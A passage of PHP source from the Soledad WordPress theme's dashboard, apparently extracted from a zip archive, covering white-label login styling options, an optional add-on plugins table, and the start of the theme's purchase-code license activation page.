			if ( $flogin_btn_hbgcolor ) {
				$flogin_btn_hover_css .= 'background-color:' . $flogin_btn_hbgcolor . ';';
			}
			if ( $flogin_btn_hcolor ) {
				$flogin_btn_hover_css .= 'color:' . $flogin_btn_hcolor . ';';
			}
			if ( $flogin_btn_hbocolor ) {
				$flogin_btn_hover_css .= 'border-color:' . $flogin_btn_hbocolor . ';';
			}
			if ( $flogin_btn_hover_css ) {
				$custom_css .= '.wp-core-ui  #loginform  .button-primary.focus, .wp-core-ui  #loginform  .button-primary.hover, .wp-core-ui  #loginform  .button-primary:focus, .wp-core-ui  #loginform  .button-primary:hover{ ' . $flogin_btn_hover_css . '}';
			}

			if ( $flogin_link_color ) {
				$custom_css .= '.login #backtoblog a, .login #nav a{ color:' . $flogin_link_color . ' !important}';
			}
			if ( $flogin_link_hcolor ) {
				$custom_css .= '.login #backtoblog a:hover, .login #nav a:hover, .login h1 a:hover{ color:' . $flogin_link_hcolor . '  !important}';
			}

			if ( $custom_css ) {
				echo '<style type="text/css">' . $custom_css . '</style>';
			}
		}

		public function options_page( $settings_pages ) {
			$settings_pages[] = array(
				'id'          => 'soledad_white_label',
				'option_name' => 'theme_mods_' . get_stylesheet(),
				'menu_title'  => esc_html__( 'White Label ', 'soledad' ),
				'parent'      => 'soledad_dashboard_welcome',
				'columns'     => 1,
			);

			return $settings_pages;
		}

		public function options_meta_boxes( $meta_boxes ) {

			$white_label_filed = array(
				array(
					'id'   => 'activate_white_label',
					'name' => __( 'Activate White Label?', 'soledad' ),
					'type' => 'checkbox',
				),
				array(
					'name'             => esc_html__( 'WordPress Login Logo', 'soledad' ),
					'id'               => 'admin_login_logo',
					'type'             => 'image_advanced',
					'max_file_uploads' => 1,
					'max_status'       => 'false',
				),
				array(
					'name'   => esc_html__( 'Custom width for WordPress Login Logo', 'soledad' ),
					'desc'   => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
					'id'     => 'admin_login_logow',
					'type'   => 'number',
					'std'    => '',
					'hidden' => array( 'button2_type', '=', 'simple' )
				),
				array(
					'name'   => esc_html__( 'Custom height for WordPress Login Logo', 'soledad' ),
					'desc'   => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
					'id'     => 'admin_login_logoh',
					'type'   => 'number',
					'std'    => '',
					'hidden' => array( 'button2_type', '=', 'simple' )
				),
				array(
					'type' => 'heading',
					'name' => esc_html__( 'Background Options', 'soledad' ),
				),
				array(
					'name'             => esc_html__( 'Custom background image for page login', 'soledad' ),
					'id'               => 'admin_login_bgimage',
					'type'             => 'image_advanced',
					'max_file_uploads' => 1,
					'max_status'       => 'false',
				),
				array(
					'name' => esc_html__( 'Custom background color for page login', 'soledad' ),
					'id'   => 'admin_login_bgcolor',
					'type' => 'color',
				),

				array(
					'type' => 'heading',
					'name' => esc_html__( 'From options', 'soledad' ),
				),
				array(
					'name'             => esc_html__( 'Form background image', 'soledad' ),
					'id'               => 'penci_flogin_bgimage',
					'type'             => 'image_advanced',
					'max_file_uploads' => 1,
					'max_status'       => 'false',

					'desc' => __( 'This will change the background image property of login form.', 'soledad' ),

				),
				array(
					'name' => esc_html__( 'Form background color', 'soledad' ),
					'id'   => 'penci_flogin_bgcolor',
					'type' => 'color',
					'desc' => __( 'This will change the background color property.', 'soledad' ),
				),
				array(
					'id'   => 'penci_flogin_padding',
					'type' => 'text',
					'std'  => '26px 24px 46px;',
					'name' => esc_html__( 'Form padding', 'soledad' ),
					'desc' => __( 'This will change the padding property. Example: 26px 24px 46px 30px or none', 'soledad' ),
				),
				array(
					'id'   => 'penci_flogin_shadow',
					'type' => 'text',
					'std'  => '0 1px 3px rgba(0,0,0,.13)',
					'name' => esc_html__( 'Form shadow', 'soledad' ),
					'desc' => __( 'This will change the form\'s shadow property. Example: 0 1px 3px rgba(0,0,0,.13). Fill <strong>none</strong> if you want to remove shadow.', 'soledad' ),
				),
				array(
					'name' => esc_html__( 'Form field background', 'soledad' ),
					'id'   => 'penci_flogin_field_bg',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Form field border color', 'soledad' ),
					'id'   => 'penci_flogin_field_borcolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Form field color', 'soledad' ),
					'id'   => 'penci_flogin_field_color',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Form label color', 'soledad' ),
					'id'   => 'penci_flogin_label_color',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button background color', 'soledad' ),
					'id'   => 'penci_flogin_btn_bgcolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button text color', 'soledad' ),
					'id'   => 'penci_flogin_btn_color',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button border color', 'soledad' ),
					'id'   => 'penci_flogin_btn_bocolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button background  hover color', 'soledad' ),
					'id'   => 'penci_flogin_btn_hbgcolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button text hover color', 'soledad' ),
					'id'   => 'penci_flogin_btn_hcolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Submit button border hover color', 'soledad' ),
					'id'   => 'penci_flogin_btn_hbocolor',
					'type' => 'color',
				),
				array(
					'name' => esc_html__( 'Link color ', 'soledad' ),
					'id'   => 'penci_flogin_link_color',
					'type' => 'color',
					'desc' => __( 'This will change the text color of links that are underneath the login form', 'soledad' ),
				),
				array(
					'name' => esc_html__( 'Link color hover', 'soledad' ),
					'id'   => 'penci_flogin_link_hcolor',
					'type' => 'color',
					'desc' => __( 'This will change the text color of links, that are underneath the login form, on hover', 'soledad' ),
				),
				array( 'type' => 'divider' ),
				array(
					'id'   => 'admin_wel_page_icon',
					'type' => 'text',
					'name' => esc_html__( 'Theme Icon', 'soledad' ),
					'desc' => __( 'Fill the icon class you want to display here. Check list icons <a rel="nofollow" href="https://fontawesome.com/v4.7.0/icons/" target="_blank">here</a>. Example fill: <strong>fa-book</strong>', 'soledad' ),
				),
				array(
					'id'   => 'admin_wel_page_title',
					'type' => 'text',
					'name' => esc_html__( 'Theme Name', 'soledad' ),
					'desc' => __( 'The theme name will display <a rel="nofollow" href="https://soledad.pencidesign.net/soledad-document/images/white-lable.png" target="_blank">here</a> - So, please do not fill it too long.', 'soledad' ),
				),
				array(
					'id'   => 'admin_wel_page_sname',
					'type' => 'text',
					'name' => esc_html__( 'Theme Short Name', 'soledad' ),
				),
				array(
					'id'   => 'admin_wel_page_author',
					'type' => 'text',
					'name' => esc_html__( 'Theme Author', 'soledad' ),
				),
				array(
					'name'    => esc_html__( 'Welcome Page Text', 'soledad' ),
					'id'      => 'admin_wel_page_text',
					'type'    => 'wysiwyg',
					'raw'     => false,
					'options' => array(
						'textarea_rows' => 4,
						'teeny'         => true,
					),
				)
			);

			$list_administrator = $this->get_list_users();

			if ( $list_administrator ) {
				$white_label_filed[] = array( 'type' => 'divider' );
				$white_label_filed[] = array(
					'name'    => esc_html__( 'Show this screen settings panel only to this user', 'soledad' ),
					'id'      => 'show_white_lable_user',
					'type'    => 'select',
					'options' => $list_administrator,
				);
			}

			$meta_boxes[] = array(
				'id'             => 'soledad_wp_banding',
				'title'          => esc_html__( 'WordPress Branding', 'soledad' ),
				'settings_pages' => 'soledad_white_label',
				'fields'         => $white_label_filed
			);

			return $meta_boxes;
		}

		public function get_list_users() {
			$current_user = wp_get_current_user();

			$user_query = new WP_User_Query( array(
				'number'  => 100,
				'orderby' => 'registered',
				'order'   => 'ASC',
				'role'    => 'Administrator',
			) );

			$output = array( '' => esc_html__( 'Administrator Users', 'soledad' ) );

			$get_results = $user_query->get_results();

			if ( ! empty( $get_results ) ) {
				foreach ( $get_results as $user ) {

					$display_name = isset( $user->data->display_name ) ? $user->data->display_name : '';
					$user_login   = isset( $user->data->user_login ) ? $user->data->user_login : '';

					if ( ! $display_name ) {
						continue;
					}

					$label = '';

					if ( $user->data->ID === $current_user->get( 'ID' ) ) {
						$label = esc_html__( 'Me: ', 'soledad' );
					}

					$label .= $display_name . '( ' . $user_login . ' )';


					$output[ $user->data->ID ] = $label;
				}
			}

			return $output;
		}
	}
}

if ( ! function_exists( 'penci_is_show_white_label_panel' ) ) {
	function penci_is_show_white_label_panel() {
		$output = true;

		$id_show = get_theme_mod( 'show_white_lable_user' );
		$user_id = get_current_user_id();

		if ( ! $id_show || ( $user_id == $id_show ) ) {
			$output = true;
		} elseif ( $id_show && ( $user_id != $id_show ) ) {
			$output = false;
		}

		return $output;
	}
}

new Penci_White_Lable();
PK     N\MhA4  A4  &  inc/dashboard/inc/optional_plugins.phpnu [        <?php
if ( class_exists( 'TGMPA_List_Table' ) ) {
	class Soledad_DashPluginsTable extends TGMPA_List_Table {

		public $optional_plugins = [];

		/**
		 * Unlisted plugins only added for installation helper of demo importer.
		 *
		 * @var array
		 */
		public $hidden_plugins = [];

		public function __construct() {
			parent::__construct();

			// Collect optional and hidden plugin ids.
			foreach ( $this->tgmpa->plugins as $plugin ) {
				if ( ! empty( $plugin['optional'] ) ) {
					$this->optional_plugins[] = $plugin['slug'];
				}

				if ( ! empty( $plugin['hidden'] ) ) {
					$this->hidden_plugins[] = $plugin['slug'];
				}
			}
		}

		/**
		 * Extend bulk actions process to account for activations.
		 */
		public function process_bulk_actions() {

			$installed   = false;
			$to_activate = false;

			if ( 'tgmpa-bulk-install' === $this->current_action() && ! empty( $_POST['plugin'] ) ) {

				$plugins = (array) $_POST['plugin'];

				foreach ( $plugins as $plugin ) {
					if ( ! $this->tgmpa->is_plugin_active( $plugin ) ) {
						$to_activate = true;
						break;
					}
				}

				// Install the plugins normally. $_POST will be mutated, so store original.
				$orig_post = $_POST;
				$installed = parent::process_bulk_actions();

				// If the intention is to install for inactive plugins, assume they should be activated.
				if ( $to_activate ) {
					$_REQUEST['action'] = 'tgmpa-bulk-activate';
					$_POST              = $orig_post;
				}
			}

			parent::process_bulk_actions();

			// Plugins had to be activated but nothing was installed.
			if ( ! $installed && $to_activate ) {
				echo '<p><a href="' . esc_url( $this->tgmpa->get_tgmpa_url() ) . '" target="_parent">' . esc_html( $this->tgmpa->strings['return'] ) . '</a></p>';

				return true;
			}
		}

		/**
		 * Add additional categories compared to default and add optional plugins to
		 * 'update' and 'all-registered' context only. Add to 'all' only if there's a
		 * an update and the plugin is already installed.
		 */
		protected function categorize_plugins_to_views() {

			$plugins = array(
				'all-registered' => array(),
				'all'            => array(),
				'install'        => array(),
				'update'         => array(),
				'activate'       => array(),
			);

			foreach ( $this->tgmpa->plugins as $slug => $plugin ) {

				$is_installed = $this->tgmpa->is_plugin_installed( $slug );
				$is_active    = $this->tgmpa->is_plugin_active( $slug );
				$has_update   = $this->tgmpa->does_plugin_have_update( $slug );

				if ( $is_active && false === $has_update ) {
					// No need to display plugins if they are installed, up-to-date and active.
					continue;
				}

				$plugins['all-registered'][ $slug ] = $plugin;

				// Add to all if it's not an optional plugin, or if an optional active plugin has an update.
				if ( empty( $plugin['optional'] ) || ( $is_active && $has_update ) ) {
					$plugins['all'][ $slug ] = $plugin;
				}

				if ( ! $is_installed ) {
					if ( empty( $plugin['optional'] ) ) {
						$plugins['install'][ $slug ] = $plugin;
					}
				} else {
					if ( $is_active && $has_update ) {
						$plugins['update'][ $slug ] = $plugin;
					}

					if ( empty( $plugin['optional'] ) && $this->tgmpa->can_plugin_activate( $slug ) ) {
						$plugins['activate'][ $slug ] = $plugin;
					}
				}
			}

			return $plugins;
		}

		/**
		 * Gather data; public.
		 */
		public function gather_plugin_data() {
			return $this->_gather_plugin_data();
		}
	}
}

class Soledad_Theme_Admin_DashPlugins {
	public function __construct() {
		add_action( 'tgmpa_after_install_plugins_page', array( $this, 'display' ) );
	}

	public function display( $tgmpa ) {
		$table               = new Soledad_DashPluginsTable;
		$table->view_context = 'all-registered';

		$plugins   = $table->gather_plugin_data();
		$optionals = $table->optional_plugins;
		$hidden    = $table->hidden_plugins;

		// Only optional and non-hidden plugins here.
		$plugins = array_filter( $plugins, function ( $plugin ) use ( $optionals, $hidden ) {
			return ! in_array( $plugin['slug'], $hidden ) && in_array( $plugin['slug'], $optionals );
		} );

		if ( ! count( $plugins ) ) {
			return;
		}

		arsort( $plugins );

		?>

        <br/>
        <br/>

        <hr/>

        <div class="penci-dash-options-plugins">

            <h3><?php _e( 'Exclusive Add-On Plugins', 'soledad' ); ?></h3>

            <p><?php _e( 'The following plugins are add-on features. Let\'s install it if you need to use an add-on feature.', 'soledad' ); ?></p>

			<?php
			$penci_dismis_notes = get_option( 'penci_dismiss_notices', '' );
			if ( 'yes' != $penci_dismis_notes ):
				?>
                <div class="penci-plugins-notice">
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Text To Speech:</span> <?php _e( 'A plugin to help you converts text into human-like speech. The Plugin uses the latest technology of machine learning and artificial intelligence to play a high-quality human voice. The Plugin basis is the Google Cloud Platform.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Data Migrator:</span> <?php esc_html_e( 'A plugin to help you migration data from other WordPress Themes into Soledad Theme. Supports WordPress Themes: Newspaper, Jnews, Jannah, Sahifa, Newsmag, Publisher, SmartMag, Bimber, Solopine\'s Themes', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Social Feed:</span> <?php esc_html_e( 'A plugin to help you connect to some socials media ( like Twitter ) to show the Feed of those socials media.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Slider:</span> <?php esc_html_e( 'A plugin to help you build a custom slider does not based on Posts when you use Customize to config the homepage. If you are using Elementor or WPBakery - you do not need to use this plugin.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Soledad AMP:</span> <?php esc_html_e( 'Exclusive AMP plugin from PenciDesign. It automatically adds Accelerated Mobile Pages (Google AMP Project) functionality to your WordPress site. AMP makes your website faster for Mobile visitors.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Frontend Submission:</span> <?php esc_html_e( 'Frontend submit article for Soledad WordPress Theme', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Paywall:</span> <?php esc_html_e( 'Member subscription for reading posts in Soledad Theme - WooCommerce or GetPaid plugin required.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Pay Writer:</span> <?php esc_html_e( 'Provide authors payment and donation for the post they made. easily configure how much author can earn for a post by payment option', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci RSS Aggregator:</span> <?php esc_html_e( 'The most powerful WordPress RSS aggregator, helping you curate content, autoblog, import and display unlimited RSS feeds within a few minutes', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Podcast:</span> <?php esc_html_e( 'This plugin enables you to develop a top-notch podcast website with a wide range of features.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci AI SmartContent Creator:</span> <?php esc_html_e( 'This plugin can assist you in creating articles and blog posts, as well as generating AI-based images. Additionally, it can suggest topic ideas and optimize keywords to save you time and improve the quality of your content. It is a must-have tool for content creation.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Bookmark & Follow:</span> <?php esc_html_e( 'Penci Bookmark & Follow plugin allows your visitors to follow changes on your site for particular post, page, authors etc.', 'tgmpa' ); ?>
                    </p>
					<p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Finance:</span> <?php esc_html_e( 'Display finance stock or cryptocurrency data.', 'tgmpa' ); ?>
                    </p>
					<p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Sport:</span> <?php esc_html_e( 'Displays scores and rankings for popular sports/leagues.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Smart Crop Thumbnails:</span> <?php esc_html_e( 'A plugin that allows you to select an Interest Point in your images during cropping. This feature helps you manage how your images will be cropped, rather than using the default crop from WordPress.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Live Blog:</span> <?php esc_html_e( 'Covering a conference, sports event, breaking news or other quickly developing events? You want your readers to be updated as quickly as possible. The best way to do that is by providing them with a liveblog.', 'tgmpa' ); ?>
                    </p>
                    <p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Google Analytics Views:</span> <?php esc_html_e( 'Sync pageview data from Google Analytics to your WordPress Database, enabling you to sort posts, view pageview data in the WordPress Dashboard, and output pageviews to your visitors.', 'tgmpa' ); ?>
                    </p>
					<p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Mobile Template:</span> <?php esc_html_e( 'Create separate Page Content and Templates for desktop and mobile.', 'tgmpa' ); ?>
                    </p>
					<p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Filter Everything:</span> <?php esc_html_e( 'Filters everything in WordPress & WooCommerce: Products, any Post types, by Any Criteria. Compatible with WPML, ACF and others popular. Supports AJAX', 'tgmpa' ); ?>
                    </p>
					<p class="penci-dplugins"><span
                                class="penci-notice-head">Penci Player Rankings:</span> <?php esc_html_e( 'This plugin helps you easily create ranking tables for players across different fields. It supports search, filtering based on various criteria, and displays detailed information for each player.', 'tgmpa' ); ?>
                    </p>
                    <div class="dis-missnote">
                        <p><?php esc_html_e( 'Understand it?', 'tgmpa' ); ?> <a
                                    href="?page=tgmpa-install-plugins&penci-dismis=penci_dismiss_notices"><?php esc_html_e( 'Click here to hide this note.', 'tgmpa' ); ?></a>
                        </p>
                    </div>
                </div>
			<?php endif; ?>

            <table class="wp-list-table widefat fixed">
                <thead>
                <tr>
                    <th class="manage-column column-plugin column-primary">Plugin</th>
                    <th class="manage-column column-source">Source</th>
                    <th scope="col" id="type" class="manage-column column-type">Type</th>
                    <th scope="col" id="status" class="manage-column column-status">Status</th>
                </tr>
                </thead>

				<?php foreach ( $plugins as $plugin ): ?>

                    <tr>
                        <td class="plugin column-plugin has-row-actions column-primary"><?php
							echo $table->column_plugin( $plugin ); // phpcs:ignore WordPress.Security.EscapeOutput -- Safe from TGMPA_List_Table
							?></td>
                        <td class="source column-source"><?php echo esc_html( $plugin['source'] ); ?></td>
                        <td class="type column-type">Optional</td>
                        <td class="status column-status"><?php
							echo esc_html( $plugin['status'] );

							if ( strstr( $plugin['status'], 'Update' ) ) {
								echo '<hr />';
								echo $table->column_version( $plugin );  // phpcs:ignore WordPress.Security.EscapeOutput -- Safe from TGMPA_List_Table
							}
							?></td>
                    </tr>

				<?php endforeach; ?>
            </table>

        </div>
		<?php
	}
}

new Soledad_Theme_Admin_DashPlugins();PK     N\vZ  Z  (  inc/dashboard/inc/require-activation.phpnu [        <?php
if ( ! function_exists( 'penci_soledad_is_activated' ) ) {
	function penci_soledad_is_activated() {
		return get_option( 'penci_soledad_is_activated' );
	}
}

if ( ! function_exists( 'penci_soledad_is_license' ) ) {
	function penci_soledad_is_license() {
		$license_data = get_option( 'penci_soledad_purchased_data' );
		if ( ! empty( $license_data ) ) {
			return true;
		} else {
			return false;
		}
	}
}

if ( ! class_exists( 'Penci_Require_Active' ) ) {
	class Penci_Require_Active {
		protected $time_max = 2592000; // 30 days
		protected $theme_info;

		public function __construct() {
			// Not run code require active theme on the admin
			if ( ! is_admin() ) {
				return;
			}

			$this->theme_info = wp_get_theme();
			$this->main();

			add_action( 'wp_ajax_nopriv_penci_check_envato_code', array( $this, 'do_check_envato_code' ) );
			add_action( 'wp_ajax_penci_check_envato_code', array( $this, 'do_check_envato_code' ) );

			add_action( 'admin_enqueue_scripts', array( $this, 'add_admin_scripts' ), 10, 1 );
		}

		public function main() {

			$curent_time             = time();
			$active_status_last_time = get_option( 'soledad_active_status_last_time' );

			add_action( 'admin_menu', array( $this, 'add_submenu_page' ), 15 );

			if ( empty( $active_status_last_time ) ) {
				update_option( 'soledad_active_status_last_time', $curent_time );
			} else {
				if ( penci_soledad_is_activated() || get_option( 'penci_hide_license_notice' ) ) {
					return;
				}
			}
		}

		public function add_admin_scripts( $hook ) {
			if ( penci_soledad_is_activated() ) {
				return;
			}

			$active_status_last_time = get_option( 'soledad_active_status_last_time' );
			$time_delta              = time() - $active_status_last_time;
			$time_max                = $this->time_max;

			if ( $time_delta < $time_max ) {
				return;
			}

			if ( $hook == 'post-new.php' || $hook == 'post.php' ) {
				wp_enqueue_script( 'soledad-editor-script', PENCI_SOLEDAD_URL . '/inc/dashboard/js/edit-post.js', array( 'jquery' ) );
			}
		}

		function add_submenu_page() {

			if ( ! penci_soledad_is_activated() ) {
				add_submenu_page(
					'soledad_dashboard_welcome',
					esc_html__( 'Theme License', 'soledad' ),
					esc_html__( 'Theme License', 'soledad' ),
					'manage_options',
					'soledad_theme_license',
					array(
						$this,
						'theme_license_page',
					)
				);
			} elseif ( penci_soledad_is_activated() && penci_soledad_is_license() ) {
				add_submenu_page(
					'soledad_dashboard_welcome',
					esc_html__( 'Theme License', 'soledad' ),
					esc_html__( 'Theme License', 'soledad' ),
					'manage_options',
					'soledad_theme_license',
					array(
						$this,
						'theme_license_page',
					)
				);
			}

			if ( penci_is_new_update() ) {
				$version    = penci_is_new_update( 'version' );
				$page_title = esc_html__( 'New Update', 'soledad' );
				$menu_title = $page_title . ' <span class="update-plugins"><span class="update-count">' . $version . '</span></span>';
				add_submenu_page(
					'soledad_dashboard_welcome',
					$page_title,
					$menu_title,
					'manage_options',
					'soledad_new_update',
					array(
						$this,
						'new_update_page',
					)
				);
			}
		}


		public function get_server_id() {
			/*ob_start();
			if ( function_exists( 'phpinfo' ) ) {
				phpinfo( INFO_GENERAL );
			}
			echo $this->theme_info->name;

			return md5( ob_get_clean() );*/
			return true;
		}

		/**
		 * Show notice active theme
		 */
		function validation_notice() {
			$link_page_active = admin_url( 'admin.php?page=soledad_active_theme' );
			?>
			<div class="penci-license-notice notice notice-success is-dismissible"
				style="background: #b70303; color: #fff; border-color: #00a32a;padding: 15px 25px 15px 120px;position: relative;">
				<i style="font-size: 100px;position: absolute;left: 10px;top: 50%;transform: translateY(-50%);width: auto;height: auto;"
					class="dashicons dashicons-warning"></i>
				<p style="font-size: 14px">
					<a class="penci-notice-logo" href="<?php echo esc_url( 'https://pencidesign.net/' ); ?>"
						target="_blank"><?php $this->get_icon_penci(); ?></a>
					<?php _e( '<strong>The system can\'t detect your purchase. Please activate Soledad to use full features of the theme</strong>. We\'re sorry about this but we built the activation system to prevent piracy of our themes in the internet, we can do better serve our paying customers.', 'soledad' ); ?>
				</p>
				<p style="font-size: 14px">
					<?php esc_html_e( 'You can', 'soledad' ); ?>
					<a style="color: #0bf948;"
						href="<?php echo( $link_page_active ); ?>"><?php esc_html_e( 'click here to activate the theme', 'soledad' ); ?></a>
					- <?php _e( 'If you have issues with this please contact us via <a rel="nofollow" href="http://pencidesign.ticksy.com/" target="_blank" style="color: #0bf948;">our support forum</a> or <a style="color: #0bf948;" rel="nofollow" href="https://themeforest.net/user/pencidesign#contact" target="_blank">our contact form</a>. This notice will be removed after you activated the theme.', 'soledad' ); ?>
				</p>
				<p style="font-size: 14px"><?php _e( 'You can check the documentation for this theme <a style="color: #0bf948;" href="https://soledad.pencidesign.net/soledad-document/" target="_blank">here</a> to know how to config this theme also.', 'soledad' ); ?></p>
			</div>
			<?php
		}

		/**
		 * Get icon penci
		 */
		function get_icon_penci() {
			?>
			<svg style="position: relative; top:4px;margin-right: 5px;" version="1.0" xmlns="http://www.w3.org/2000/svg"
				width="18px" height="18px" viewBox="0 0 26.000000 26.000000"
				preserveAspectRatio="xMidYMid meet">
				<g transform="translate(0.000000,26.000000) scale(0.100000,-0.100000)"
					fill="#ffffff" stroke="none">
					<path d="M72 202 l-62 -60 0 -66 0 -66 125 0 125 0 0 61 0 61 -63 65 -62 64
				-63 -59z m73 28 c3 -5 -3 -10 -15 -10 -12 0 -18 5 -15 10 3 6 10 10 15 10 5 0
				12 -4 15 -10z m57 -57 c34 -33 36 -38 20 -49 -14 -10 -21 -8 -45 12 -36 31
				-62 30 -93 -1 -21 -21 -28 -23 -44 -13 -19 12 -18 14 17 50 51 52 92 52 145 1z
				m-77 -93 c0 -59 -1 -60 -27 -60 -26 0 -28 3 -28 42 0 24 7 49 17 60 28 32 38
				21 38 -42z m49 44 c10 -9 16 -33 16 -60 0 -40 -2 -44 -25 -44 -24 0 -25 3 -25
				60 0 62 7 71 34 44z m-130 -20 c9 -8 16 -31 16 -50 0 -27 -4 -34 -20 -34 -17
				0 -20 7 -20 50 0 28 2 50 4 50 3 0 12 -7 20 -16z m201 -34 c0 -44 -3 -50 -20
				-50 -18 0 -20 5 -17 38 4 35 17 62 31 62 3 0 6 -22 6 -50z"/>
					<path d="M90 70 c0 -5 5 -10 10 -10 6 0 10 5 10 10 0 6 -4 10 -10 10 -5 0 -10
				-4 -10 -10z"/>
				</g>
			</svg>
			<?php
		}

		public function require_active_page() {
			$soledad_theme = wp_get_theme();
			?>
			<div class="wrap about-wrap penci-about-wrap penci-active-theme penci-dashboard-wapper">
				<?php include PENCI_SOLEDAD_DIR . '/inc/dashboard/sections/welcome.php'; ?>
				<h2 class="nav-tab-wrapper">
					<a href="<?php echo admin_url( 'admin.php?page=soledad_dashboard_welcome' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Getting started', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'customize.php' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Customize Style', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_custom_fonts' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Custom Fonts', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_active_theme' ); ?>"
						class="nav-tab nav-tab-active"><?php esc_html_e( 'Active theme', 'soledad' ); ?></a>
					<a href="https://pencidesign.ticksy.com/" target="_blank"
						class="nav-tab"><?php esc_html_e( 'Support Forum', 'soledad' ); ?></a>
				</h2>
				<div class="penci-activate-wrap gt-tab-pane gt-is-active">
					<div class="penci-activate-envato-code">
						<div class="penci-activate-code-title"><?php esc_html_e( 'Active Soledad', 'soledad' ); ?></div>
						<p class="penci-activate-desc">
							<?php echo esc_html( sprintf( __( 'Please activate %s to use full features of the theme. We\'re sorry about this but we built the activation system to prevent piracy of our themes in the internet, we can do better serve our paying customers. Also, use the theme without a valid license can make your site get issues with DMCA later.', 'soledad' ), $soledad_theme->name ) ); ?>
							<br>
							<?php _e( 'And please note that: <strong>With each license - you just can use for one website.</strong><br>If you want to use this theme for multiple sites, please buy more licenses for it.<br>Example: <strong>2 licenses can use for 2 websites, 4 licenses can use for 4 websites, 7 licenses can use for 7 websites,.etc..</strong>', 'soledad' ); ?>
							<br>
							<?php _e( 'You can put your purchase code to the field below to activate the theme.<br>Check <a href="https://help.market.envato.com/hc/en-us/articles/202822600-Where-Is-My-Purchase-Code-" target="_blank">this guide</a> to know how to get your purchase code.<br>After activating the theme, you can revoke the license for this website if you want.', 'soledad' ); ?>
						</p>
						<form id="penci-check-license"
								action="<?php echo admin_url( 'admin.php?page=soledad_active_theme' ); ?>">
							<div class="penci-activate-inputs">
								<input name="evato-code" class="penci-form-control evato-code" type="text"
										placeholder="<?php esc_html_e( 'Your Purchase Code', 'soledad' ); ?>" value=""
										autocomplete="off">
								<input type="hidden" name="server-id" class="server-id"
										value="<?php echo $this->get_server_id(); ?>" readonly/>
								<span class="penci-form-control-bar"></span>
								<div class="penci-activate-err">
									<span class="penci-err-missing"><?php esc_html_e( 'Code is required', 'soledad' ); ?></span>
									<span class="penci-err-length"><?php esc_html_e( 'Code is too short', 'soledad' ); ?></span>
									<span class="penci-err-invalid"><?php esc_html_e( 'Invalid purchase code. Please check it again.', 'soledad' ); ?></span>
								</div>
							</div>
							<button class="soledad-activate-button"><?php esc_html_e( 'Activate theme', 'soledad' ); ?></button>
							<div class="spinner"></div>
							<div class="soledad-find-code">
								<a href="<?php echo esc_url( 'https://help.market.envato.com/hc/en-us/articles/202822600-Where-Is-My-Purchase-Code-' ); ?>"
									target="_blank">
									<?php esc_html_e( 'Find Your Purchase Code', 'soledad' ); ?>
								</a>
							</div>
						</form>
						<div class="penci-activate-extra-notes">
							<p class="penci-activate-desc" style="margin: 30px 0 10px;">
								<?php _e( 'To deliver you a better customer support service, access to features and to prevent piracy when the theme is activated the following data is sent to our servers:', 'soledad' ); ?>
							</p>
							<ul style="list-style: square; padding-left: 40px; font-size: 14px;">
								<li><?php _e( 'The Envato username', 'soledad' ); ?></li>
								<li><?php _e( 'The Envato purchase code for the item', 'soledad' ); ?></li>
								<li><?php _e( 'The website URL you\'ve activated the theme', 'soledad' ); ?></li>
								<li><?php _e( 'The server IP address that has the theme installed', 'soledad' ); ?></li>
							</ul>
							<p class="penci-activate-desc"
								style="margin-bottom: 0;"><?php _e( 'The data is stored in a server located in US, and we do not share any of this information with third-party partners.' ); ?></p>
							</p>
						</div>
					</div>
				</div>
			</div>
			<?php
		}

		public function theme_license_page() {
			?>
			<div class="wrap about-wrap penci-about-wrap penci-active-theme penci-dashboard-wapper">
				<?php include PENCI_SOLEDAD_DIR . '/inc/dashboard/sections/welcome.php'; ?>
				<h2 class="nav-tab-wrapper">
					<a href="<?php echo admin_url( 'admin.php?page=soledad_dashboard_welcome' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Getting started', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'customize.php' ); ?>"
